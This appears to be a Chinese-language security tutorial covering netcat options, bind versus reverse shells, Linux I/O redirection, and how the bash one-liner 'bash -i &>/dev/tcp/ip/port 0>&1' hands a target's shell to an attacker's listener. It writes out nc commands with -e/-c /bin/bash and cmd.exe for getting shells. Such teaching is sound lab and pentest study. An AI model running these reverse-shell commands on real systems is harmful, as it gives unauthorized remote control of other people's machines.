01 nc
netcat,简称nc,一款TCP/UDP网络连接的利器,可实现任意TCP/UDP端口的侦听,被称为“瑞士军刀”,可见其功能强大。
nc的选项较多,这里只介绍我们日常工作中可能会经常使用到的几个选项。
"-v"选项,可以说是每次执行命令时必添加的选项,用于输出详细信息,如果输入两次,那么输出的信息将更多。
"-l"选项,进入监听模式,"-p"选项,指定本地端口,这两个选项通常结合使用,指定某端口进入监听状态。如果想连接,只需要输入对应IP和端口即可。
在kali中指定1234端口进入监听状态,物理机连接kali虚拟机,连接成功之后,可以彼此发送数据。
"-z"选项,连接成功后立即关闭连接,不进行数据交换,可用来扫描。端口可以是单个的或范围内的。"-i"选项,端口扫描时的时间间隔。"-w"选项,连接超时时间。"-n"选项,不反向查询IP对应的域名。
可以看到,添加"-n"选项之后,域名显示为"UNKNOWN"。因为指定了超时时间,所以有很多端口提示连接超时。如果不指定超时时间,单个端口扫描时间会长一点。
"-c"选项,指定shell命令,使用/bin/sh执行;"-e"选项,指定文件名,在连接后执行。
这两个选项常用于获取目标的shell,如果是linux,"-c"选项和"-e"选项,都可以指定/bin/bash来获取shell;如果是windows,我们可以"-e"选项指定执行cmd.exe来获取shell。
在讲怎么获取shell之前,我们先讲讲shell的分类。
正向shell(bind shell)
靶机:nc -lvp x.x.x.x port [-c/bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]攻击方:nc x.x.x.x port
反向shell(reverse shell)
靶机:nc x.x.x.x port [-c/bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]攻击方:nc -lvp x.x.x.x port
正向和反向的区别,其实就是攻击方和靶机之间谁主动发起连接的区别。
攻击方主动去连接靶机为正向,shell绑定在靶机的监听端口,攻击方连接才能访问;靶机主动向攻击方发起连接请求为反向,靶机主动将自己的shell发送给攻击方。
根据网络协议,客户端发起连接请求,服务器端监听端口。正常情况下,攻击方都是客户端,靶机是服务器端。而反向shell本质上是网络概念的客户端与服务器端的角色反转。
反向shell,更多人叫反弹shell。为了让大家更好地理解正向shell和反弹shell的区别,这里暂时叫反向shell,一眼就能明白两者的区别是连接方向的区别,后续文章统一用反弹shell代替。
需要注意的是,不管正向shell,还是反向shell,"-c"选项或"-e"选项都是添加在靶机这一侧。
02 输入/输出重定向
在讲输入输出重定向之前,我们先来了解了解标准I/O。
标准I/O
Linux shell以字符序列或流的形式接收输入和发送输出。大多数命令,从键盘接受输入并将所产生的输出发回到显示器,这就是标准的I/O。Linux shell使用3 种标准 I/O ,每种都与一种文件描述符相关联。
1、标准输入:stdin,文件描述符0,对应设备通常为键盘2、标准输出:stdout,文件描述符1,对应设备通常为显示器或打印机3、标准错误输出:stderr,文件描述符2,对应设备通常为显示器或打印机
那么什么是输入输出重定向?通俗点来讲,改变输入输出,使命令不是从键盘输入,结果不是输出到显示器就叫做输入输出重定向。比如,从文件中获取数据,将输出保存到文件。
输出重定向
有两种方式可以将输出重定向到文件:(如果文件不存在则会创建文件)
n>:将来自文件描述符n的输出以覆盖的方式重定向到某个文件。n>>:将来自文件描述符n的输出以追加的方式重定向到某个文件。
如果不指定文件描述符n,则默认文件描述符为1,即标准输出。如下图所示,产生了标准错误输出和标准输出。
重定向输出,将标准输出和标准错误输出分别重定向到stdout.txt和stderr.txt。
再次将标准输出重定向到stdout.txt,发现内容已被覆盖。
如果不想内容被覆盖,则应使用>>。由于ls命令没有产生标准错误输出,所以stderr.txt文件没有新增数据。
当然,也可以把标准输出和标准错误输出重定向到同一个文件:使用&>或&>>。
另外,还可以先重定向文件描述符 n ,然后使用m>&n将文件描述符 m 重定向到相同位置。
注意,重定向是从左往右解析,要先重定向文件描述符 n 。在下图中,stderr 被重定向到当前的 stdout 位置,然后将 stdout 重定向到 print,但第二次重定向仅会影响 stdout,而不会影响 stderr;在上图,stderr 被重定向到当前的 stdout 位置,也就是print。
如果想忽略输出,可以将输出重定向到/dev/null。
输入重定向
和输出重定向一样,我们可以使用“<”来重定向标准输入。
要说明的是,shell(包括 bash)也拥有 here-document 概念,这是输入重定向的另一种形式。它将 << 和一个单词结合构成一个标记,将开始标记 tag 和结束标记 tag 之间的内容作为输入。
wc命令用来给系统清空垃圾...wc命令用于统计字数。这里我们以EOF做为标记,标记之间的都是本次的输入。wc统计出有2行,2个单词,9个字节。
关于输入输出重定向知识的拓展先介绍到这里,其他知识后续结合需求再介绍,方便结合实例理解记忆。
03 bash反弹shell
命令
bash -i &>/dev/tcp/ip/port0>&1
原理
命令主要分为两个部分:bash -i 和重定向。
bash -i:产生一个交互式shell。&>:标准输出和标准错误输出都重定向到后面的对象。/dev/tcp/ip/port:与ip:port建立连接并传输数据。0>&1:将标准输入重定向到标准输出的位置。
重定向这一部分,乍一眼可能还有点看不明白。但仔细一看,其实就是之前"m>&n"的语法。先重定向n,&> /dev/tcp/ip/port,重定向符和对象之间允许有空格;然后m>&n,重定向符和文件描述符之间不能有空格。
/dev/tcp是Linux中的一个特殊文件,通过它打开套接字,与目标端口建立连接。
命令用一句话解释:与指定目标建立连接,同时将自己shell的输入和输出交给对方。下面我们结合实际操作来加深对这条命令的理解。
先查看一下bash的帮助文档,里面说明如果添加"-i"选项,那么这个shell就是交互式的。
在攻击机监听一个端口,等待靶机连接。
在靶机执行如下命令,可以看到攻击机接收到了靶机的shell。
因为目前只是把标准输出重定向,所以标准错误输出还是输出在靶机,标准输入也是在靶机,所以在攻击机输入命令,命令并不会执行。
接下来我们添加 "0>&1" 将标准输入重定向到标准输出相同的位置,这样就可以在攻击机输入命令并得到执行。
最后,再把标准错误输出也重定向到标注输出的位置。到此,靶机shell的"控制权完全"移交到了攻击机。